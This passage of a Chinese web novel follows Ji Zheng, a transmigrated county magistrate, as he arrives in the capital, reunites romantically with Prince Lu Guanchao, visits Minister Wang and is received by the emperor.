陆观潮听赵年说了半天也没说到点上,忍不住提醒,“季铮和王介夫什么时候到大都?” 他听说季铮被破格封为县令,又要来大都后,是什么事都听不了,什么都吃不下了,就等着季铮来。 “哦哦。”赵年这才明白自家殿下在这等着呢,忙到,“没说,但兴许快了吧,或许明日,后日,大后日?” 眼看着陆观潮的脸色越来越黑,赵年哽了一下,说 了实话,“最快大大后日。” 他还怕殿下生气,相反,殿下默默起身,一言不发离开。 赵年跟了两步,“殿下,你要去哪?” “……” 陆观潮平静道,“挑衣服。” “?” 赵年吓得长大嘴巴,他有没有听错,他家殿下说了什么? 挑衣服?! 是殿下疯了还是他神经了! 季铮到大都的那日是个大晴天,冬日难得晴日,他们这一行多是阴天,好不容易放了次晴。 城门打开,他们也不是多厉害多受器重的人物,且马车小得可怜,在几座鎏金马车之中极不起眼,压根无人在意,一行人随着人群驶进大都。 大都不愧是首都,街上人来人往络绎不绝,街边的小贩游商众多,季铮被一卖镜子的小贩晃了眼,歪头躲过反光。 系统这时跳出,【解锁地点二:大都,发布地区任务,宿主整体名声值达到等级一:一鸣惊人。】 季铮以袖做伞,遮挡刺目的阳光,内心痛呼,有这个自动提醒还不如没有,他初来乍到,还是一个小小县令。 要不是托王介夫的福,哪有机会来大都,可要如何“一鸣惊人”? 正当他思考时,赵德前来告别,“季大人,我回去述职,便不多留了,圣上给您安排了住处,就在前不久的晚来风。” 季铮点了点头,又听赵德道,“圣上何时召见回告知您的,不过依属下之见,怕是殿下会更快见您。” 赵德说罢,挤了挤眼,又去和王介夫告别,唯独留季铮在这发愣。 王介夫才回来,要先去长兄家里,还要联络旧日同僚,打理府邸,不能招待季铮而深感惭愧,将人送到晚来风房间里,季铮道了千百遍无碍才肯离开。 临走留给季铮一信物,可随意进出他府邸。 季铮摆着两块质地不同的玉符,有些好笑,他这里是信物收容所了吗。 不过季铮安顿下来,又开始想陆观潮的事。 赵德说陆观潮会赶在圣上之前见他,那是什么时候,也不知陆观潮在大都过的如何。 他一路走来,看到好几副陆观潮张牙舞爪的驱鬼图,听到不下十种陆观潮“英勇事迹”。 陇县人少,没多少人懂这些,对堂堂煞星知之甚少,不过听个乐呵,不大信服。 大都就不一样了,人们又惧又厌,他们是真的以为自家家房梁掉了,鸡死了狗跑了是陆观潮克的。 看来陆观潮真的很受讨厌。 季铮想着想着,无端泛起酸意,陆观潮没去幽州前,还没有军功威名,恶意定是更嚣张,那么些日子,他是怎么过来的。 他现在忽然好想抱一抱陆观潮,问问他被人背后辱骂灾星时难不难过。 门外有人敲门,季铮以为是圣上传下圣旨,忙藏起玉符,理了理衣裳,前去开门。 不料才开门,还没来的看是谁,率先陷入面前人怀里。 来人似乎是裹着寒风跑来了,心跳如鼓,季铮能闻到他身上的寒气,还有丝丝熏香。 头顶传来熟悉的声音,“季铮,我好想你。” 是陆观潮。 声音不大,钻入他的耳里,季铮只觉心里痒痒的,下意识回道,“我也是。” 我也是,很想你。 62.第 62 章 季铮才安顿下,还没来得及收拾,行李随意堆放在桌上。 陆观潮在陇县帮他帮习惯了,上手就要帮忙收拾。 “殿下。”季铮倚靠在桌边,调侃道,“你怎么总也不得闲,像我的管家似的,从前在陇县就这样,现在到大都了,也不愿意耍耍珏王威风?” 陆观潮顿了一下,哀怨的瞧了季铮一眼,手下动作不停,“你也知道到大都了,为什么不去找我。” “这可冤枉我了。” 季铮笑道,“我才坐下一炷香时间都没有,这几日奔波赶路的,不得好好梳洗打扮一下才能见人,不像殿下,这是早早就准备好了?” 陆观潮背对着季铮,微微侧目偷看季铮,耳尖通红,“你看出来了?” 他今日穿了新衣,戴了新冠,经王府四人一致称赞才放心穿出门,还以为季铮不会注意到这些东西,忘了季铮一向心细,怎么可能没发现。 “殿下你这得瑟劲,傻子都看的出来,让我仔细看看。” 季铮起身绕到陆观潮身前,还真认真打量起陆观潮这一身新衣服了。 陆观潮察觉到季铮的目光游走,停下动作,僵直着身子任他看,半晌才问,“如何?” 他还拿着季铮的行李,捏着薄薄一层布料,低垂着眉眼。 许久没听到季铮说话,陆观潮有些惶恐的抬起头,却撞上季铮满含笑意的双眸,顿时什么都知晓了。 季铮很喜欢。 陆观潮勾起一个浅浅的笑,“我特意让赵年陪我选的,是不是比在陇县时顺眼了。” 是不是比在陇县更喜欢他了?这一句陆观潮没好意思问出口,在心里转了一圈压下询问的冲动,太幼稚了,季铮肯定会笑话他。 季铮道眨了眨眼,“因为我?” 陆观潮沉默片刻,支支吾吾道,“是……” 他说罢,握拳掩唇轻咳一声,掩饰似的道,“恰好陆泽要办寿辰,我不常住在大都,府中没几件体面衣裳,总要置办一身。” 季铮又看了一会,一本正经道,“很好看。” 这话不假,陆观潮从前在大都总穿麻布,一身黑灰是常态,这乍然换上墨绿色,显得人都俊俏了不少,叫季铮眼前一亮。 窗外麻雀叽叽喳喳叫唤,陆观潮心情好,也不觉得它们烦人了。 陆观潮知道季铮喜欢,可真从季铮嘴里听到这话,还是忍不住欣喜。 还没等陆观潮开口,季铮转而问,“不过我才到大都,你是如何找到我的。” 陆观潮缓缓移开目光,总不能实话实说,说他算准了季铮什么时候到,提前就守在城门口等着接人了,季铮骑马一进城门就被他盯上了? 没想到陆观潮目光炯炯的盯了季铮一路,追着人送到房间,听着季铮和王介夫推让了一炷香,都没被发现。 这一门小心思全喂给狗了,最后忍无可忍,走投无路没办法了才敲响季铮房门。 陆观潮面色铁青,季铮便猜出来了,“不会吧,你一直跟着呢?” 看陆观潮点头,季铮倒吸一口凉气,难怪一身的寒气,“怪不得我总觉得背后凉飕飕的,还当大都风水克我。” “殿下啊——”季铮笑着叹道,“你要见我,随便找个人传张纸条来不就行了,何必大费周章。” 陆观潮别过脸,“我说了,你就会来吗。” 季铮气笑了,“你说的话,我哪次没听你的。” 这倒也是,季铮连一只草兔子都舍不得不给他,陆观潮这样想,沾沾自喜起来,他道,“那我现在说,你准吗?” “当然!”季铮信誓旦旦的保证,“你说,我什么都依你。” 陆观潮忽的低笑一声,“我今晚要留下。” 季铮一懵,这算什么事,值得陆观潮铺垫那么多,当即答应下来。 陆观潮又道,“我要和你一起睡。” 季铮应下,“可以。” 只有一张床,他们不一起睡难道一个睡床上一个睡地上? 陆观潮道,“不止今天,以后我都要和你一起。” 季铮迟疑着点头,“也行。” 这可说不准了,来日方长,他们免不了有不见面的时候,又不能变成挂件,时时刻刻挂在陆观潮身上。 不过看人一脸认真,季铮也不好说拒绝的话煞风景。 陆观潮听他一一答应,思索片刻,终于劝好自己把最想说的说出口,“不许娶妻,不许纳妾,此生此世……不对,永生永世,只能有我一个。” 他吞了吞喉结,紧张的看向季铮。 一秒,两秒,三秒…… 季铮闭着嘴,仿佛在思考什么,眉头紧锁。 陆观潮扣着自己的手指,先前还乖巧可爱的麻雀眼下只觉得聒噪无比。 真讨厌,这几只鸟吵得他耳朵疼。 真讨厌,季铮为什么不理他。 真讨厌,自己干嘛乱说话。 正当他胡思乱想之际,面前季铮伸手轻轻分开陆观潮两只互相折磨的手。 陆观潮生怕从季铮口中听到不要不行没可能云云,转身要逃,“我,我有点事,下次再说吧。” 他挣了一下没挣开,或许是季铮力气大到能拉住他,或许是他压根没想走。 “殿下。” 季铮摸过陆观潮自己紧张掐出的红痕,淡淡道,“我不是说了,你说的话,我哪次没听你的?” 他是在想,这件事的后果 陆观潮心间狠狠一跳,不敢置信的回头。 季铮道,“既得郎君,自当生死与共,至死靡它?。” “季铮……” 陆观潮憋了半天,最后憋出来一句,“你心匪石,我心匪席。” 可怜他每日面对的都是一些大字不识一个的糙汉子,就这么一点情话都讲给季铮听了。 真好,陆观潮心道,这麻雀叫的也并非多难听。 临近正午,陆观潮再依依不舍,总得回王府一趟,就怕万一陆泽来看,发现他不在。 陆观潮怏怏不乐的,“我得走了。” 季铮颔首,没多留他。 陆观潮不开心了,闷声道,“入夜了我再回来,记得等我。” “好。”季铮等了会,没见陆观潮有要离开的行径,不解问,“还有事?” 陆观潮摇头,慢吞吞的往门外走去。 季铮看着他走到门口,停住脚步,原地怔住几秒,猛然转身朝他奔来。 “殿下?”季铮还没来得及张嘴,一个吻落到他额头,瞬间什么话都没影了。 自陆观潮唇上源源不断传来暖意,顺着他的神经一路向下,烫化了季铮的心。 “不要叫我殿下。” 陆观潮将季铮圈进怀里,“我不喜欢你这么叫我,还和以前一样,可以吗?” 季铮说,“陆观潮,我知道了。” 陆观潮心满意足的松开,怕自己再磨蹭,头也不回的离开了。 走出晚来风,陆观潮拐进隔壁无人的巷子里,捂住脸偷笑。 于陆观潮的心花怒放不同,赵年这边称得上郁郁寡欢。 “殿下啊。”赵年哭丧着脸,“您回来了,我还以为您不会来吃饭了呢。” 陆观潮斜了他一眼,问,“吃屎了吗,这幅表情。” 赵年悲从中来,“还不如去吃屎呢!” “怎么说?”陆观潮追问,“我记得你不是今日回家了,夫人又打骂你了?” 赵年倒了杯茶,捧着热茶叹息连连,“也不至于,就是……” 他说起这件事一脸菜色,“我母亲说我老大不小了,该寻亲事了,不然哪天死在幽州连个收尸的没有。” 陆观潮道,“这倒是稀奇。” “是吧。”赵年忙道,“我跟着殿下你这么久了,殿下你都没娶亲呢,他们瞎着急我干什么。” “我说的不是这个。”陆观潮道,“夫人居然没打你,稀奇。” 赵年:“……” “殿下,有没有人和你说过你不适合讲笑话,很瘆人。” 赵年抱怨完,又道,“不过半月后的寿辰,殿下打算如何,可要插一脚?” 陆观潮平静说,“他们赐婚和我有什么关系。” 他都有季铮了,还关心这些干什么。 “也是。”赵年道,“还有,侯爷年关会赶回来,幽州尚且安定,看圣上意思是打算来年二月再放人走,委屈殿下在大都多呆一段时日了。” 陆观潮这才反应过来,季铮过完寿辰就要走,留他一人在大都。 二月份啊,比这次分别还要长,要如何熬过去。 陆观潮一想到见不到季铮,霎时很想整日和季铮黏在一起,能多见一面是一面。 季铮收拾完陆观潮收拾了一半的行李,从最底下取出给陆观潮带的礼物,想着陆观潮晚上才来,便先收好。 “季大人。” 门外传来声响,季铮问道,“是我,何事?” 那人道,“我是王大人的人,奉我家大人之名,请大人到府上小坐。” 王大人,哪个王大人? 王介夫不是说了不能招待吗? 季铮问,“敢问是哪位王大人?” “回大人。”他道,“当今工部尚书王大人,王节度使的长兄,我家大人说,早听闻大人风采,愿大人赏脸一叙。” 季铮当下了然,大抵是王介夫有心,去了一趟长兄那,提及了自己。 他朗声回应,取出带了的几个盒子中的一份,出门拜见小吏。 小吏行礼道,“季大人,若无事在身,可否走一趟?” “尚书大人邀约,哪有不从的道理。”季铮摊手,“请带路吧。” 63.第 63 章 小吏准备了车马,季铮便不推辞,一路摇摇晃晃的行至王府。 好在尚书大人不是王介夫这般节省的人,王府装潢简约大气,牌匾刻的二字字迹笔走龙蛇,好极了。 小吏介绍道,“这是大人上任时,圣上亲笔所写赐下的。” 季铮看了一会,“原是圣上,我还猜是哪位大家的字,想拜访一二呢,这下是没机会了。” “大人玩笑了。”小吏道,“往后大人见圣上的时候还多着呢。” 季铮笑笑没回话,他最后看了一眼牌匾,跟着小吏进府。 牌匾上二字妙是妙,整体看上去行云流水,落笔有力,可偏偏尾笔却是飘着的,写字之人必是一急功近利的性格,且心机深不可测。 小吏引着季铮,倒是不急,遇到某处景致还于其讲一讲王大人的巧思。 “这都是我家大人亲手设计的。”小吏指着右边的小桥,“那时工人怎么也做不出大人要的模样,大人就自己上手。” 季铮随着他指的地方看去,停下看了看,道,“的确雅致,大人耿介刚毅,季某佩服。” 小吏又说另一处,“这件亭子,是大人亲自制图,日夜不眠盯着做成的。” 季铮点点头,“独特非凡,别具巧心。” 瞧这些“丰功伟绩”,看来这位尚书大人,和其弟相比,也没变通到哪里去。 直到说了个遍,小吏才像是完成任务一般,将季铮送到地方,“我家大人就在里面,小的就先退下了。” 水榭立于园子中心,旁有一汪池水,不像是件正经居住的地方,倒像是专门来招待客人的会客厅。 正值冬日风大,围上了避风的帘子,季铮从间隙模糊看到两个人影对坐。 他站在榭外,躬身行礼,“季某见过各位大人。” “哦,是季县令来了。”有一陌生的声音道,“快快请进。” 得了应允,季铮掀开帘子进去。 水榭熏着熏香,染了炭盆,暖乎乎的,中间两人其中未出声一人不是别人,正是王介夫。 两人专心致志的下棋,百忙之中抽出嘴道,“季县令随意坐,待我下完这一局棋。” “是。”季铮抬眼见到王介夫朝他招手,便坐到王介夫身边,一同看向棋盘。 白玉棋盘上黑白子错综发杂,两人对持良久,黑白两子僵持不下。 王介夫捏着白棋,盯着角落纠缠的旗子,凝眉思索,尚书大人的神色也未好到哪去。 一盘死局,即便王介夫胡乱下了这一子,他也未必有胜算。 季铮坐在一侧,静静看了半晌,没忍住轻声问,“大人,若不嫌弃,季某求下这一步。” “呵。”王尚书笑了,“你还懂棋?” 季铮谦虚道,“略知一二罢了。” “也好。”王介夫把棋子放到季铮手里,“你就来替我下这一步。” 季铮接到棋子,毫不犹豫的避开两人纠结的角落,下到棋盘中央,瞬间扭转局势。 王尚书大骇,猛地觉出问题所在。 季铮道,“大人且看,这处已成死局,再坚持下去也是无济于事,不若舍弃,退而求其次,有一线生机,攻守逆转。” 王介夫连连惊呼,“你年纪轻轻便知统领全局,是我固执了。” “不敢。”季铮笑道,“当局者迷旁观者清而已。” 王尚书听罢哈哈大笑,“好一个当旁观者清,不愧是圣上都想收入囊中的人,果真妙。” 季铮摇了摇头,“不过是一局棋罢了,尚书大人凭何以小见大?” “凭你问出这句话。”王尚书眼中赏识多了几分真诚,“旁人听闻我这样夸赞,有的施施然,有的推拒连连,你还是第一个反问我的。” 季铮叠手一拜,“大人谬赞,心中有惑,不吐不快。” 王尚书又道,“实不相瞒,我早就知晓你,当年你考卷的策论让我弟弟赞不绝口,我看过后,只觉太过稚嫩,幼树不一定成材,如今再看,方知我先入为主了。” 季铮歪头,“大人何出此言。” “前不久圣上暗中召见,给我看了一份图纸。” 这一句一出,季铮就知道是怎么回事了,必是董何维自作聪明上报一事,身为工部尚书,自然有资格第一个过目。 季铮不言,继续听王尚书往下说。 “那份图纸实在精巧,可惜我没从圣上那讨过来。”王尚书道,“后来又在家弟的书信里看到一样的事迹,一番打听,才知我弟弟,圣上,包括我接连看好的只有你季铮一个。” 季铮闻言起身,郑重朝王尚书行礼,“谢大人赏识,季某感激涕零。” “你是聪明的。”王尚书挥手谢绝,把人扶着坐下,“真真甘心留在陇县?” 王介夫也是道,“是啊,陇县地形复杂,又遍是流寇土匪,那董何维留下的烂摊子更是棘手的紧,短时间可不好处理干净。” “我知各位大人好心,可人各有命,该我的我不能推开,更何况陇县百姓信服我,我怎可抛下他们与不顾。” 季铮眼神坚定,“我自决心读书入仕,立志为生民造福,这与我志向不符,恕我自甘堕落了。” 他嘴上这么说,心里也是这么想的,他原来只图安稳,有一件茅屋,几亩薄田,利用小聪明换些银两加餐,不愁温饱即可。 就连陆观潮邀他去幽州,心里打着帮帮忙就回来种地的心思。 到底是什么时候下定决心,季铮也不清楚。 大概是那日雨夜,墙角的几位缺衣少食的稚童。 又或是县令府里惊慌实测的“奴婢”们。 还是莫关源连看病钱都掏不出,也不愿多收他银两。 总之,季铮是不打算匆匆拿起轻轻放下了,他要插手,便插手到底,能有一个吃饱算一个。 两人无言片刻,还是王尚书拍手叫好。 “季县令大义,莫要妄自菲薄,是我等狭隘了。” 王介夫叹气道,“话是这么说不假,可陇县毕竟不是好差事……” “况且。”季铮继续道,“我根基不稳,还不知圣上意思,还是待着陇县稳妥。” 听罢,王介夫也不再劝了,他道,“也是,寿辰后你回陇县,下次见面就没准了。” 正说着,外头传来声响,“主君,各位大人,可是在谈事。” 季铮抬头看去,“这是?” 王尚书问,“我夫人,季县令可介意。” 季铮摇了摇头,王尚书便道,“并未,请进吧。” 丫鬟掀起帘子,夫人踏入水榭,身后还跟着一男一女。 “上次小叔子送来的肥皂,小女甚是喜爱,听闻制肥皂的公子来了,恰好路过水榭,特意来问礼。” 王尚书责备道,“如今已是一地县令了。” 夫人捏着帕子,盈盈一拜道,“是我糊涂,县令大人。” “我不拘于小节。”季铮随着几人起身,“夫人随意称呼就好。” 她身后,有一女子抬眼悄悄看季铮被发现,慌张的垂下头。 夫人侧身一步让开,给季铮讲道,“这是我小女佑安,长子长乐,快见过季大人。” 两人和季铮差不多大,模样皆生的出众,礼仪周到。 季铮一一回礼,今日拜来拜去,拜得他胳膊都算了。 他在陇县就听王介夫说过,长兄长嫂有两个孩儿,才华出众,一个年纪轻轻考入太学,一个才情无双,果真如此,从行礼的举止来看,长子坦荡,幼女沉稳,不愧是王尚书教出的孩子。 王介夫似乎察觉出什么,蹙眉道,“嫂嫂,季县令初来乍到,就让人来交际,不妥。” 夫人嗔他一眼,“多认些人才好,来日若要在大都,要是连个相熟的都没有怎么行。” 丈夫谈事,妻子待着女儿来看,其深意不难 猜出,这是想撮合季铮和女儿王佑安啊。 眼下也带着儿子来了,可见只是见个面看看眼缘而已,还没彻底敲定想法。 “此次前来,带了些小礼物了别心意。” 季铮取出一只小盒子,“我还担心夫人不喜欢,既然王娘子喜欢就好。” 王佑安眼眸一亮,“是肥皂吗?” “正是。”季铮将盒子递给王长安,由他转交王佑安,“这一件是我雕刻,娘子看看合不合心意。” 王佑安接过盒子,打开看了一眼,两枚肥皂一只刻着鲤鱼,另一只刻了荷花,顿时心生欢喜。 她一点头,“谢大人,我很喜欢。” 王尚书还未开口怪他带东西,一张纸递到他面前。 王尚书一懵,“这是?” “大人说的图纸。”季铮笑道,“好巧不巧,我正好带了。” 王尚书一喜,看向季铮的目光又多了几分喜爱。 季铮被留在王府陪着下了几盘棋,天色渐晚,正要告辞,又被王介夫强硬的要求留下吃饭,无奈吃过饭才回晚来风。 走进房间时,天已经黑下来,他径直走进去点亮烛火,没发觉房内多了一人。 “季铮!” 身后传来压抑着怒气的声音。 季铮一抖,有些不敢回头,下一瞬大力强袭,身后的人板着他的肩膀转过身,就对上陆观潮饱含委屈不满的脸。 陆观潮质问道,“你去哪了,不是答应了等我吗?” 糟糕,忘记屋里还有个人呢。 “不好意思。”季铮嘿嘿一笑,“我不是故意的,你信不信?” 陆观潮显然不信,他放开季铮扭身要走,“你若不想见我,我走就是了。” “欸!” 季铮哭笑不得,连忙去追,拉着陆观潮哄道,“哪有不想见你,别走别走,我想见你想的心烦意乱,恨不得长翅膀飞回来,可王大人一直劝,我实在抽不开。” 陆观潮不说话,季铮又道,“这件事是我不对,我不该放你鸽子,好观潮,原谅我一次行不行。” 依然没等到陆观潮开口,季铮暗道不好,这是给人气得不轻,当即顺着胳膊搂住。 “好了好了。”季铮道,“莫要生气,我给你带了礼物,不看看再走?” 季铮安静等陆观潮出声,可声没等到,先等来了怀里胳膊的抽动。 再一细看,哪单是胳膊,是整个身子都在抽。 季铮心一沉,绕到陆观潮面前看,却见眼前人红着眼眶,眸子含泪,被他这么瞧着,一眨眼一行清泪淌下,烛火之下更衬得可怜。 “心肝啊。”季铮来不及找帕子,直接伸手给人擦眼泪,指腹擦过陆观潮的脸颊,湿润滚烫。 他越看越心疼,“别哭了,你这一哭,我得折寿三年。” 陆观潮捂住季铮的嘴,“不许乱说。” “好好好。”季铮道,“我撤回,你便不要留泪割我血肉了。” 陆观潮沾水的睫毛颤了颤,他闷声问,“你是不是厌烦我了。” 季铮眉头一抽,“什么?” “大都到处都在说我克父克母克君克妻。”陆观潮更失落了,“你也听了,是不是怕我了。” 季铮长叹一口气,他还以为怎么了呢,就因为这点破事? 他对上陆观潮的眼睛,郑重道,“我季铮之心,天地可鉴,别说你这点谣言了,就算你一夜之间变成剧毒之物,克天克地,克得我闭眼嗝屁,我也,不离不弃。” 陆观潮抿唇,动容道,“那我奇丑无比呢?” “我毁容陪你丑。”季铮道,“无论你如何,我认定了谁就只有谁了。” 陆观潮吐槽,“口出狂言。” 没有一点保证的话,但他还是信了。 陆观潮拉起季铮的手,忽的想起之前梦中情景,学着梦里自己的样子蹭了蹭,“季铮,再摸摸我。” 64.第 64 章 陆观潮从小就是爱多想的性子,宫人泼出去一盆脏水,他会怀疑是不是想泼他,谁挂上平安符,他便担心是不是嫌弃自己衰气。 只不过后来长大心知都是假的,一些繁琐小事也不放在心上了,还以为自己多思多虑的毛病治好了呢。 不承想,一遇上季铮,全都原形毕露了。 今日少对他笑一下,陆观潮就想季铮是否心有不满,明日分别多一分,陆观潮便想是否是不愿与他一起。 到现在严重到生出躲藏的心思了,可一方面又舍不下季铮,进退两难。 毕竟季铮如此好,陆泽喜欢,王介夫也喜欢,更别提陇县那一群人了,他一个人人喊打的煞星,着实不相配。 但季铮对他说不离不弃。 居然说不离不弃,对他。 季铮可知不离不弃的分量,他可知答应的事不能变,他可知陆观潮的固执。 越喜爱越惶恐,这些陆观潮一概不知,于是他只有一遍又一遍的取闹,确定季铮对他的情谊依旧。 季铮好脾气,无论他怎么闹,都愿意哄着他。 比如这时,季铮依言揉了揉陆观潮的脸,“可以吗?” 陆观潮摇头,又道,“再抱一抱。” 怎么像只猫似的,还要顺顺毛 季铮被逗笑了,听他的话又抱了会,才道,“你要一直抱下去的话,就没时间看我给你的礼物了。” “你给我带东西了?”陆观潮松手,眨了眨眼,“给我看看。” 季铮转身从柜子里取出几只盒子中最大的一个,递给坐立难安,翘首以盼的陆观潮。 陆观潮捧着盒子左看看右看看,由衷夸赞,“很好看,我可以带到幽州装箭头。” 季铮一哽,“你试试打开呢?” “哦。”陆观潮恍然反应过来,季铮干什么要给他一个盒子,瞬间尴尬的红了脖子,忙不迭打开。 盒里一枚玉白色的块状物,似玉非玉,隐隐传来异香。 陆观潮拿起仔细端详,“白玉”刻着一个人形,他看着眼熟却分辨不出到底是谁,观察了半晌也看出这是什么东西。 他问,“这是什么,做什么用的。” “肥皂。”季铮解释道,“另一种皂荚,洗澡洗衣都可。” 陆观潮奇怪道,“这上面的人是谁?” “……” 季铮叹道,“你是故意的,还是真不知道?” 他无力道,“是你啊笨蛋!” 陆观潮心底猜到了,只是不敢承认,怕自作多情了,听季铮这么说一颗心放到肚子里,又提起别的疑问,“为何刻我的,不刻你的。” 他拿着自己洗澡?很膈应吧。 啊!拿着季铮洗,好像更不对…… 陆观潮这样想着,给自己闹了个大红脸。 季铮确实这样想过,但是人送礼物送自己模样的,太自恋了,再者他是想着陆观潮做的,自然只刻了陆观潮。 “快去用用试一下。”季铮不好意思明说,推起陆观潮往浴桶那去,试图缓和气氛揭过这茬。 陆观潮一本正经问,“一起吗?” 季铮猛推了他一把,“一起个鬼啊。” “哦哦。”陆观潮在屏风之后,又道,“不过浴桶没有水。” 季铮又手忙脚乱的叫人换水,好一通折腾,终于是让陆观潮用上了。 屏风透过陆观潮的影子,偶尔几声水声叫季铮无法忽视自己屋里有别人洗澡,那人还是他男朋友。 季铮闭上眼,暗暗念了几声非礼勿视非礼勿听。 陆观潮出来时就见季铮闭眼端坐着。 烛火打在他柔和的脸上,不知道的还以为谁把观音落在这了。 陆观潮没忍住,走过去戳了一下,看看季铮是不是羽化飞升而去,空留躯壳在此。 季铮惊醒,睁眼就闯入一朵出水芙蓉,愣了一愣。 “好香。”季铮闻到陆观潮身上的味道,木然道。 陆观潮一口气没提上来呛到了,咳嗽得脸都红了。 季铮这才知道自己说了什么虎狼之词,匆匆出门找人换水,借口自己也要洗躲过这场面。 不是要揭过气氛,怎滴气氛愈发不对劲了。 等季铮平复好心情再出来,陆观潮已经躺上床了,闭着眼看起来睡得很安稳。 季铮没打扰,蹑手蹑脚的吹灭蜡烛爬上床,才躺下,就被陆观潮捞走。 男人的呼吸喷在耳畔,心潮澎湃,季铮甚至能听到他咚咚咚的心跳声。 “你没睡啊?” 陆观潮语气毫无波澜,“睡了。” “陆观潮。”季铮干脆找了舒服的位置重新躺下,又道,“我有个问题要问你。” 陆观潮“嗯”了一声,“问吧。” 季铮顿了顿,问,“还在陇县,就下雨你来接我那次,你晚上换衣服那么久,是不是——” “不是。”陆观潮涨的通红,着急打断,“没有,我困了,快睡觉。” 第二日,送走赖着不想走的陆观潮,季铮终于等来了圣上召见。 宫人领着他绕过角门,带至陆泽的圣宸宫偏殿等待,一路上没多什么,公事公办,连客套都没有。 待宫人进殿通传,季铮趁着这期间四下看了看,这就是皇帝办公的地方了,还真够大的。 不多时,宫人传他进去。 季铮进殿,不卑不亢的问安,侍立原地等候圣上开口。 陆泽上下看过这年轻人一眼,道,“抬起头,给朕看看。” 季铮抬头,也看清了陆泽的容貌,他与陆观潮虽是同父异母的兄弟,可这相貌没有一点沾边的地方。 陆观潮面冷,这位却面热,总也含着笑,要不是知道这皮子下的谋略,季铮还真就信了外界说的圣上宽容了。 “不错。”陆泽摆出平易近人的笑,问,“今年多大了?” 季铮答:“回圣上,过了年就二十又二了。” 陆泽又问,“二十二了,可有取表字?” “并未。”季铮道,“臣家中已无长辈,也无师父,便暂且搁置了。” 陆泽一副第一次得知的表情,唏嘘几声,转而问,“你可有娶妻?” 季铮摇头,“家中还有一妹妹,臣暂没这想法。” “哦,还有妹妹啊。”陆泽略一思索,道,“这倒无妨,过几日寿宴上,各家适龄小姐都会到访,你也多看看,总要有人替你张罗妹妹寝室。” 季铮没拒绝没同意,道,“谢圣上好意。” 陆泽看他有问有答,说一不二,更加满意,道,“那董何维的罪行朕听闻了,你受委屈了。” 季铮淡淡笑了笑,“圣上大义,已处置董何维,又授予臣官职,臣感激不尽,何谈委屈。” “你有心了。”陆泽凝眉道,“王介夫带给朕一个小玩意,朕很是喜欢,若是全天下的百姓都能得此一物该有多好。” 陆泽继续道,“你既有改辕犁的才能,又有制冰之法,只一 个县令,还是委屈你了,你且说来,朕许你一个愿望。” 季铮不为所动,“圣上莫要取笑臣了,一些小玩意,能入圣上的眼,已是万幸,臣哪敢讨赏。” 陆泽明显受用,“你倒是谨言慎行,也罢,那就随你,待来日想好了,朕再许你。” “是。”季铮适当露出几分感激,“谢主隆恩。” 陆泽问了问王介夫在陇县如何,季铮没全挑着好处说,也加了几句无伤大雅的小问题。 这套说辞显然合陆泽心思,又说了几句客套话,赏下些财宝,这次召见就结束了。 季铮随着宫人出殿,迎面碰上一个急匆匆的小太监。 他目不斜视,小太监在身后通传,“圣上,苍山居士到了。” 陆泽急道,“天寒地冻的,还不快叫人进来。” 再后面季铮就听不到了,小太监在他余光里一闪而过,匆匆而去匆匆而来,要扶着苍山居士上殿。 清晨宫人洒扫泼了水,脚下台阶上冻结了一层薄薄的冰。 白玉山避开小太监搀扶,自己提起衣摆走,季铮瞥了一眼,老先生鬓发全白,穿着宽大袍子,一把年纪的步子不稳,一步一踉跄。 他低着头,慢悠悠的走着,小太监想扶不敢扶,急得满头大汗。 季铮没再多看,要与人擦肩而过。 不料白玉山踩中袍子,脚底一滑,栽了下去。 这年纪,摔一下可不是闹着玩的,季铮眼疾手快的拉了一把。 季铮扶着人站稳关心道,“居士,冬日地滑,可有哪里伤到?” “无事。”白玉山说着,感觉到手下肌肉,搀住季铮手臂的手一顿。 他眯起眼打量少年,模样干净,第一眼看上去瘦瘦弱弱,谁敢信这人衣裳地下是个练家子,竟能在冰面上一把扶住他,自个还宛如泰山。 季铮看着人没事了,便收回手,“那季某不多留了,居士千万小心。” 他说着,行了一礼,颔首离开。 白玉山盯着他的背影看了一会,主动叫来小太监搭把手。 陆泽在门口亲自迎接,可见重视。 “老师,我听宫外声音,您怎么样了。” 按理来说他该叫一声师祖的,可帝王身份在前,叫声老师就算抬举了,叫师祖岂不是折煞了白玉山。 白玉山摆手,“没什么,地滑绊了一跤,好在被一位公子拉了一把。” 陆泽松了口气,“您无事便好,快请进。” 白玉山坐下,陆泽又是传膳,又是上茶,还当着人的面,训斥了一顿洒扫的宫人。 “圣上莫要大动干戈了。”白玉山道,“我不过是来看看你,本就是我没站稳,您这怪怨一顿,我不就成罪人了?” 陆泽只得听从,“是朕行事鲁莽了,老师难得回大都一趟,要待多长时间。” 白玉山道,“过来年关就回,山上我还养了鸡鸭。” “可惜,朕还想多留老师日子。”陆泽惋惜问,“不若等到来年开春再走?” 白玉山笑着婉拒,“圣上不必留了,不过方才殿外的那个公子是个人士?” “老师也感兴趣?”陆泽讲道,“那是陇县新任命的县令,王介夫推举的人才,朕许他来参加寿宴,昨日才到。” 白玉山若有所思,“是王介夫选中的,看来不简单了。” “简不简单的。”陆泽道,“老师寿辰当日不就知道了?” 季铮坐在窗边桌前,打了个喷嚏。 65.第 65 章 “冻着了?”陆观潮抬手关上窗户,又探头试季铮额头温度,“哪里不舒服?” 季铮笑着避开,打趣他道,“我没事,许是有人在心里提起我吧。” 陆观潮坐到季铮身边,狡辩称,“不是我,我若想你当面便提了。” “这还没分开,就已经开始想了?”季铮支着下巴,“万一分开了,你会不会肝肠寸断。” 陆观潮还真就思考起来了,答道,“或许会。” 季铮卷起书拍了陆观潮一下,“乱说。” 陆观潮低低一笑,赖在季铮身边,斜眼看季铮书中字迹,看了半天也没看进脑子里,索性问道,“这是什么。” 季铮陇县的声名值早就到达平均值,加上这几日陇县热议演出他的话本,名声值稳步上升,已经到了8.5的高分,季铮特地向系统申请预支一部分奖励。 这本就是他方才写的。 高苗移栽之法,这些季铮前世种菜种树时学过,但也只是学了个表层,没弄懂深层逻辑,只会移栽自己会的,且全看运气,十次里四次失败。 系统教程里种类繁多,还保学会,有了这一本,季铮是遇到什么农作物都不愁了。 他想与其烂在肚子里,鲜少用上,不如著书推广出去,也算涨涨名声值了,于是装订了一本。 季铮讲道,“你可知别稻?和那差不多。” 陆观潮曾研究过幽州土地能种什么,对此略有耳闻,他指着书上一颗随手画之的农作物,“你想说把别稻的法子用到其他秧苗上?” “正是。”季铮道,“不仅能用到其他苗上,还能用到树上。” 陆观潮不明白,“这能行?” 季铮点头,“自然,一样的道理用对法子了怎么不行,若是可行,不仅稳固壮苗,提高存活率,又缩短成熟时间,两全其美。” 